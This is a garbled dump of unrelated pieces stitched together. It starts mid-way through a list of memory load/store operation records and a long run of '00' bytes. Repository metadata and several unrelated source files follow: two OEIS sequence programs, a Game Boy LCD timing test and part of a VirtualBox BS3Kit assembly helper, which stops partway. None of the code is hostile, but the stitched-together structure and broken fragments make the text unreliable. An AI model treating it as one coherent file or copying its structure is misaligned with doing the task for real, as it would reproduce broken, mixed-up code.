'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 2, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.407609
2,999
0.653925
4ad9741011e9ea1022bc2182e38bee74f048db89
808
asm
Assembly
oeis/277/A277667.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/277/A277667.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/277/A277667.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A277667: Number of n-length words over a quaternary alphabet {a_1,a_2,...,a_4} avoiding consecutive letters a_i, a_{i+1}. ; Submitted by Christian Krause ; 1,4,13,42,136,440,1423,4602,14883,48132,155660,503408,1628033,5265096,17027441,55067134,178088372,575941872,1862609199,6023720790,19480850935,63001517896,203748351160,658926832032,2130984459505,6891652526348,22287762039781,72079132667058,233105565142080,753868734120360,2438028744349535,7884640772654162,25499108760666683,82464701479282956,266692732436090564,862490402055192592,2789313705110397905,9020704377668912016,29173164467018748969,94346681743233863046,305119328622106631404 add $0,3 mov $2,1 lpb $0 sub $0,1 sub $3,$4 add $1,$3 add $3,$5 mov $4,$2 mov $2,$3 add $2,$1 add $5,$4 mov $3,$5 add $3,$2 lpe mov $0,$1 div $0,2
38.47619
483
0.787129
8fdc7ca3cb44f2c9194e0dac4c5afdb2cc3b2fa9
471
asm
Assembly
oeis/080/A080308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/080/A080308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/080/A080308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A080308: Non-multiples of Fermat numbers 2^(2^n)+1. ; Submitted by Jamie Morken(m3a) ; 1,2,4,7,8,11,13,14,16,19,22,23,26,28,29,31,32,37,38,41,43,44,46,47,49,52,53,56,58,59,61,62,64,67,71,73,74,76,77,79,82,83,86,88,89,91,92,94,97,98,101,103,104,106,107,109,112,113,116,118,121,122,124,127,128,131 mov $2,1 lpb $0 mov $1,255 lpb $3 add $2,1 mov $4,$1 gcd $4,$2 cmp $4,1 cmp $4,0 sub $3,$4 lpe sub $0,1 add $2,1 mov $3,7 lpe mov $0,$2
22.428571
210
0.598726
0efe5d372f1022449de7c230c15dcfeb4f413ad4
4,905
asm
Assembly
lcd/last_ly_ly_change/main.asm
AntonioND/gbc-hw-tests
631e60000c885154a8526df0b148847f9c34ce42
[ "MIT" ]
6
2018-07-21T12:11:21.000Z
2021-07-23T16:32:47.000Z
lcd/last_ly_ly_change/main.asm
PMArkive/gbc-hw-tests
631e60000c885154a8526df0b148847f9c34ce42
[ "MIT" ]
null
null
null
lcd/last_ly_ly_change/main.asm
PMArkive/gbc-hw-tests
631e60000c885154a8526df0b148847f9c34ce42
[ "MIT" ]
3
2016-04-26T07:45:34.000Z
2018-12-30T05:45:14.000Z
INCLUDE "hardware.inc" INCLUDE "header.inc" SECTION "var",BSS repeat_loop: DS 1 sram_ptr: DS 2 ; MSB first SECTION "Main",HOME ;-------------------------------------------------------------------------- ;- Main() - ;-------------------------------------------------------------------------- Main: ld a,$0A ld [$0000],a ; enable ram ld a,$A0 ld [sram_ptr+0],a ld a,$00 ld [sram_ptr+1],a ld a,LCDCF_ON ld [rLCDC],a ld a,[Init_Reg_A] cp a,$11 jr nz,.skip1 ld a,0 ld [repeat_loop],a call CPU_slow .skip1: .repeat_all: ; ------------------------------------------------------- VBL_TEST : MACRO di ld b,130 call wait_ly ld a,152 ld [rLYC],a ld a,STATF_LYC ld [rSTAT],a ld a,IEF_LCDC ld [rIE],a xor a,a ld [rIF],a ld bc,\1 call irq_set_LCD ei halt ENDM VBL_TEST VBL_INT_HANDLER_0 VBL_TEST VBL_INT_HANDLER_1 VBL_TEST VBL_INT_HANDLER_2 VBL_TEST VBL_INT_HANDLER_3 VBL_TEST VBL_INT_HANDLER_4 VBL_TEST VBL_INT_HANDLER_5 VBL_TEST VBL_INT_HANDLER_6 VBL_TEST VBL_INT_HANDLER_7 VBL_TEST VBL_INT_HANDLER_8 VBL_TEST VBL_INT_HANDLER_9 VBL_TEST VBL_INT_HANDLER_10 VBL_TEST VBL_INT_HANDLER_11 VBL_TEST VBL_INT_HANDLER_12 VBL_TEST VBL_INT_HANDLER_13 VBL_TEST VBL_INT_HANDLER_14 VBL_TEST VBL_INT_HANDLER_15 VBL_TEST VBL_INT_HANDLER_GBC_0 VBL_TEST VBL_INT_HANDLER_GBC_1 VBL_TEST VBL_INT_HANDLER_GBC_2 VBL_TEST VBL_INT_HANDLER_GBC_3 VBL_TEST VBL_INT_HANDLER_GBC_4 VBL_TEST VBL_INT_HANDLER_GBC_5 VBL_TEST VBL_INT_HANDLER_GBC_6 VBL_TEST VBL_INT_HANDLER_GBC_7 VBL_TEST VBL_INT_HANDLER_GBC_8 VBL_TEST VBL_INT_HANDLER_GBC_9 VBL_TEST VBL_INT_HANDLER_GBC_10 VBL_TEST VBL_INT_HANDLER_GBC_11 VBL_TEST VBL_INT_HANDLER_GBC_12 VBL_TEST VBL_INT_HANDLER_GBC_13 VBL_TEST VBL_INT_HANDLER_GBC_14 VBL_TEST VBL_INT_HANDLER_GBC_15 ; ------------------------------------------------------- ld a,[sram_ptr+0] ld h,a ld a,[sram_ptr+1] ld l,a ld [hl],$12 inc hl ld [hl],$34 inc hl ld [hl],$56 inc hl ld [hl],$78 ; ------------------------------------------------------- ld a,[Init_Reg_A] cp a,$11 jr nz,.dontchange ld a,[repeat_loop] and a,a jr nz,.dontchange ; ------------------------------------------------------- call CPU_fast ld a,1 ld [repeat_loop],a jp .repeat_all .dontchange: ; ------------------------------------------------------- ld a,$00 ld [$0000],a ; disable ram call screen_off ld a,$80 ld [rNR52],a ld a,$FF ld [rNR51],a ld a,$77 ld [rNR50],a ld a,$C0 ld [rNR11],a ld a,$E0 ld [rNR12],a ld a,$00 ld [rNR13],a ld a,$87 ld [rNR14],a .endloop: halt jr .endloop ; -------------------------------------------------------------- SECTION "functions",ROMX,BANK[1] VBL_INT_HANDLER_MACRO : MACRO REPT 10 push de pop de ENDR REPT \1 nop ENDR ld a,[rLY] ld b,a ld a,[sram_ptr+0] ld h,a ld a,[sram_ptr+1] ld l,a ld [hl],b inc hl ld a,h ld [sram_ptr+0],a ld a,l ld [sram_ptr+1],a ret ENDM VBL_INT_HANDLER_0: VBL_INT_HANDLER_MACRO 0 VBL_INT_HANDLER_1: VBL_INT_HANDLER_MACRO 1 VBL_INT_HANDLER_2: VBL_INT_HANDLER_MACRO 2 VBL_INT_HANDLER_3: VBL_INT_HANDLER_MACRO 3 VBL_INT_HANDLER_4: VBL_INT_HANDLER_MACRO 4 VBL_INT_HANDLER_5: VBL_INT_HANDLER_MACRO 5 VBL_INT_HANDLER_6: VBL_INT_HANDLER_MACRO 6 VBL_INT_HANDLER_7: VBL_INT_HANDLER_MACRO 7 VBL_INT_HANDLER_8: VBL_INT_HANDLER_MACRO 8 VBL_INT_HANDLER_9: VBL_INT_HANDLER_MACRO 9 VBL_INT_HANDLER_10: VBL_INT_HANDLER_MACRO 10 VBL_INT_HANDLER_11: VBL_INT_HANDLER_MACRO 11 VBL_INT_HANDLER_12: VBL_INT_HANDLER_MACRO 12 VBL_INT_HANDLER_13: VBL_INT_HANDLER_MACRO 13 VBL_INT_HANDLER_14: VBL_INT_HANDLER_MACRO 14 VBL_INT_HANDLER_15: VBL_INT_HANDLER_MACRO 15 VBL_INT_HANDLER_GBC_MACRO : MACRO REPT 26 push de pop de ENDR REPT \1 nop ENDR ld a,[rLY] ld b,a ld a,[sram_ptr+0] ld h,a ld a,[sram_ptr+1] ld l,a ld [hl],b inc hl ld a,h ld [sram_ptr+0],a ld a,l ld [sram_ptr+1],a ret ENDM VBL_INT_HANDLER_GBC_0: VBL_INT_HANDLER_GBC_MACRO 0 VBL_INT_HANDLER_GBC_1: VBL_INT_HANDLER_GBC_MACRO 1 VBL_INT_HANDLER_GBC_2: VBL_INT_HANDLER_GBC_MACRO 2 VBL_INT_HANDLER_GBC_3: VBL_INT_HANDLER_GBC_MACRO 3 VBL_INT_HANDLER_GBC_4: VBL_INT_HANDLER_GBC_MACRO 4 VBL_INT_HANDLER_GBC_5: VBL_INT_HANDLER_GBC_MACRO 5 VBL_INT_HANDLER_GBC_6: VBL_INT_HANDLER_GBC_MACRO 6 VBL_INT_HANDLER_GBC_7: VBL_INT_HANDLER_GBC_MACRO 7 VBL_INT_HANDLER_GBC_8: VBL_INT_HANDLER_GBC_MACRO 8 VBL_INT_HANDLER_GBC_9: VBL_INT_HANDLER_GBC_MACRO 9 VBL_INT_HANDLER_GBC_10: VBL_INT_HANDLER_GBC_MACRO 10 VBL_INT_HANDLER_GBC_11: VBL_INT_HANDLER_GBC_MACRO 11 VBL_INT_HANDLER_GBC_12: VBL_INT_HANDLER_GBC_MACRO 12 VBL_INT_HANDLER_GBC_13: VBL_INT_HANDLER_GBC_MACRO 13 VBL_INT_HANDLER_GBC_14: VBL_INT_HANDLER_GBC_MACRO 14 VBL_INT_HANDLER_GBC_15: VBL_INT_HANDLER_GBC_MACRO 15 ; --------------------------------------------------------------
16.683673
75
0.675229
3ba49d4a1b29162de027dde11ee4221e56d6a94e
285
asm
Assembly
programs/oeis/273/A273149.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/273/A273149.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/273/A273149.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A273149: a(n) = A053839(n)+1. ; 1,2,3,4,2,3,4,1,3,4,1,2,4,1,2,3,2,3,4,1,3,4,1,2,4,1,2,3,1,2,3,4,3,4,1,2,4,1,2,3,1,2,3,4,2,3,4,1,4,1,2,3,1,2,3,4,2,3,4,1,3,4,1,2,2,3,4,1,3,4,1,2,4,1,2,3,1,2,3,4,3,4,1,2,4,1,2,3,1,2,3,4,2,3,4,1,4,1,2 lpb $0 add $1,$0 div $0,4 lpe mod $1,4 add $1,1
28.5
199
0.505263
3abb65023cce4911308e1023b53d3be1bc43014b
36,427
asm
Assembly
third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-mode-TestDoModesHlp.asm
Fimbure/icebox-1
0b81992a53e1b410955ca89bdb6f8169d6f2da86
[ "MIT" ]
521
2019-03-29T15:44:08.000Z
2022-03-22T09:46:19.000Z
third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-mode-TestDoModesHlp.asm
Fimbure/icebox-1
0b81992a53e1b410955ca89bdb6f8169d6f2da86
[ "MIT" ]
30
2019-06-04T17:00:49.000Z
2021-09-08T20:44:19.000Z
third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-mode-TestDoModesHlp.asm
Fimbure/icebox-1
0b81992a53e1b410955ca89bdb6f8169d6f2da86
[ "MIT" ]
99
2019-03-29T16:04:13.000Z
2022-03-28T16:59:34.000Z
; $Id: bs3-mode-TestDoModesHlp.asm $ ;; @file ; BS3Kit - Bs3TestDoModes helpers ; ; ; Copyright (C) 2007-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; ;********************************************************************************************************************************* ;* Header Files * ;********************************************************************************************************************************* %include "bs3kit-template-header.mac" ;********************************************************************************************************************************* ;* Defined Constants And Macros * ;********************************************************************************************************************************* ; ; We put most of this mess in the RMTEXT16 segment when in real mode. ; %if TMPL_MODE == BS3_MODE_RM %define MY_BEGIN_TEXT BS3_BEGIN_RMTEXT16 %define MY_BEGIN_TEXT16 BS3_BEGIN_RMTEXT16 %define MY_TEXT16_WRT(a_Label) a_Label wrt BS3GROUPRMTEXT16 %else %define MY_BEGIN_TEXT TMPL_BEGIN_TEXT %define MY_BEGIN_TEXT16 BS3_BEGIN_TEXT16 %define MY_TEXT16_WRT(a_Label) BS3_TEXT16_WRT(a_Label) %endif ;********************************************************************************************************************************* ;* External Symbols * ;********************************************************************************************************************************* %if TMPL_MODE == BS3_MODE_RM BS3_BEGIN_TEXT16_FARSTUBS extern TMPL_FAR_NM(Bs3SwitchToRM) extern TMPL_FAR_NM(Bs3SwitchToPE16) extern TMPL_FAR_NM(Bs3SwitchToPE16_32) extern TMPL_FAR_NM(Bs3SwitchToPE16_V86) extern TMPL_FAR_NM(Bs3SwitchToPE32) extern TMPL_FAR_NM(Bs3SwitchToPE32_16) extern TMPL_FAR_NM(Bs3SwitchToPEV86) extern TMPL_FAR_NM(Bs3SwitchToPP16) extern TMPL_FAR_NM(Bs3SwitchToPP16_32) extern TMPL_FAR_NM(Bs3SwitchToPP16_V86) extern TMPL_FAR_NM(Bs3SwitchToPP32) extern TMPL_FAR_NM(Bs3SwitchToPP32_16) extern TMPL_FAR_NM(Bs3SwitchToPPV86) extern TMPL_FAR_NM(Bs3SwitchToPAE16) extern TMPL_FAR_NM(Bs3SwitchToPAE16_32) extern TMPL_FAR_NM(Bs3SwitchToPAE16_V86) extern TMPL_FAR_NM(Bs3SwitchToPAE32) extern TMPL_FAR_NM(Bs3SwitchToPAE32_16) extern TMPL_FAR_NM(Bs3SwitchToPAEV86) extern TMPL_FAR_NM(Bs3SwitchToLM16) extern TMPL_FAR_NM(Bs3SwitchToLM32) extern TMPL_FAR_NM(Bs3SwitchToLM64) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_rm_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pe16_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pe16_v86_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pe32_16_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pev86_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pp16_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pp16_v86_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pp32_16_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_ppv86_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pae16_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pae16_v86_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_pae32_16_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_paev86_far) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_lm16_far) %else BS3_BEGIN_TEXT16 extern TMPL_NM(Bs3SwitchToRM) extern TMPL_NM(Bs3SwitchToPE16) extern TMPL_NM(Bs3SwitchToPE16_32) extern TMPL_NM(Bs3SwitchToPE16_V86) extern TMPL_NM(Bs3SwitchToPE32) extern TMPL_NM(Bs3SwitchToPE32_16) extern TMPL_NM(Bs3SwitchToPEV86) extern TMPL_NM(Bs3SwitchToPP16) extern TMPL_NM(Bs3SwitchToPP16_32) extern TMPL_NM(Bs3SwitchToPP16_V86) extern TMPL_NM(Bs3SwitchToPP32) extern TMPL_NM(Bs3SwitchToPP32_16) extern TMPL_NM(Bs3SwitchToPPV86) extern TMPL_NM(Bs3SwitchToPAE16) extern TMPL_NM(Bs3SwitchToPAE16_32) extern TMPL_NM(Bs3SwitchToPAE16_V86) extern TMPL_NM(Bs3SwitchToPAE32) extern TMPL_NM(Bs3SwitchToPAE32_16) extern TMPL_NM(Bs3SwitchToPAEV86) extern TMPL_NM(Bs3SwitchToLM16) extern TMPL_NM(Bs3SwitchToLM32) extern TMPL_NM(Bs3SwitchToLM64) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_rm) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe16) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe16_v86) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe32_16) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pev86) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp16) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp16_v86) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp32_16) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_ppv86) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae16) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae16_v86) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae32_16) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_paev86) extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_lm16) %endif BS3_BEGIN_TEXT16 extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe16_32):wrt BS3FLAT extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pe32):wrt BS3FLAT extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp16_32):wrt BS3FLAT extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pp32):wrt BS3FLAT extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae16_32):wrt BS3FLAT extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_pae32):wrt BS3FLAT extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_lm32):wrt BS3FLAT extern RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_lm64):wrt BS3FLAT MY_BEGIN_TEXT16 ; need the group definition MY_BEGIN_TEXT ;; ; Shared prologue code. ; @param xAX Where to jump to for the main event. ; BS3_GLOBAL_NAME_EX TMPL_NM(bs3TestCallDoerPrologue), , 0 BS3_CALL_CONV_PROLOG 1 push xBP mov xBP, xSP xPUSHF ; Save non-volatile registers so the DO function doesn't have to. push xBX push xCX push xDX push xSI push xDI %if TMPL_BITS != 64 push ds push es push ss %if TMPL_BITS != 16 push fs push gs %endif %endif %if TMPL_BITS == 64 push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 %endif ; Jump to the main code. jmp xAX ;; ; Shared epilogue code. ; @param xAX Return code. ; BS3_GLOBAL_NAME_EX TMPL_NM(bs3TestCallDoerEpilogue), , 0 ; Restore registers. %if TMPL_BITS == 16 sub bp, (1+5+3)*2 mov sp, bp %elif TMPL_BITS == 32 lea xSP, [xBP - (1+5+5)*4] %else lea xSP, [xBP - (1+5+8)*8] pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 %endif %if TMPL_BITS != 64 %if TMPL_BITS != 16 pop gs pop fs %endif pop ss pop es pop ds %endif pop xDI pop xSI pop xDX pop xCX pop xBX xPOPF pop xBP ret ; ; For checking that the mode switching macros doesn't screw up GPRs. ; Note! Does not work on pre 286 hardware! So, for debugging only. ; %if 0 %macro STRICT_SAVE_REGS 0 movzx esp, sp sub esp, BS3REGCTX_size mov [esp + BS3REGCTX.rax], eax mov dword [esp + BS3REGCTX.rax+4], 0xdead0000 mov [esp + BS3REGCTX.rcx], ecx mov dword [esp + BS3REGCTX.rcx+4], 0xdead0001 mov [esp + BS3REGCTX.rdx], edx mov dword [esp + BS3REGCTX.rdx+4], 0xdead0002 mov [esp + BS3REGCTX.rbx], ebx mov dword [esp + BS3REGCTX.rbx+4], 0xdead0003 mov [esp + BS3REGCTX.rbp], ebp mov [esp + BS3REGCTX.rsp], esp mov [esp + BS3REGCTX.rsi], esi mov [esp + BS3REGCTX.rdi], edi %endmacro %macro STRICT_CHECK_REGS 0 %%_esp: cmp [esp + BS3REGCTX.rsp], esp jne %%_esp %%_eax: cmp [esp + BS3REGCTX.rax], eax jne %%_eax %%_ecx: mov [esp + BS3REGCTX.rcx], ecx jne %%_ecx %%_edx: cmp [esp + BS3REGCTX.rdx], edx jne %%_edx %%_ebx: cmp [esp + BS3REGCTX.rbx], ebx jne %%_ebx %%_ebp: cmp [esp + BS3REGCTX.rbp], ebp jne %%_ebp %%_esi: cmp [esp + BS3REGCTX.rsi], esi jne %%_esi %%_edi: cmp [esp + BS3REGCTX.rdi], edi jne %%_edi add esp, BS3REGCTX_size %endmacro %else %macro STRICT_SAVE_REGS 0 %endmacro %macro STRICT_CHECK_REGS 0 %endmacro %endif ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Real mode ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInRM(uint16_t offBs3Text16); ; @uses rax BS3_PROC_BEGIN_MODE Bs3TestCallDoerInRM, BS3_PBC_NEAR BS3_LEA_MOV_WRT_RIP(xAX, MY_TEXT16_WRT(.doit)) jmp TMPL_NM(bs3TestCallDoerPrologue) MY_BEGIN_TEXT16 BS3_SET_BITS TMPL_BITS BS3_GLOBAL_LOCAL_LABEL .doit mov ax, [xBP + xCB + cbCurRetAddr] ; Load far function pointer. mov dx, [xBP + xCB + cbCurRetAddr + 2] ; Mode switch, make the call, switch back. STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far TMPL_FAR_NM(Bs3SwitchToRM) %else call TMPL_NM(Bs3SwitchToRM) %endif BS3_SET_BITS 16 STRICT_CHECK_REGS mov cx, BS3_MODE_RM push cx push cs mov cx, .return push cx push dx push ax retf .return: STRICT_SAVE_REGS %if TMPL_MODE == BS3_MODE_RM call far RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_rm_far) %else call RT_CONCAT3(_Bs3SwitchTo,TMPL_MODE_UNAME,_Safe_rm) %endif BS3_SET_BITS TMPL_BITS STRICT_CHECK_REGS jmp TMPL_NM(bs3TestCallDoerEpilogue) MY_BEGIN_TEXT BS3_PROC_END_MODE Bs3TestCallDoerInRM ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Unpage protection mode. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ; @cproto BS3_DECL(uint8_t) Bs3TestCallDoerInPE16(uint16_t offBs3Text16); 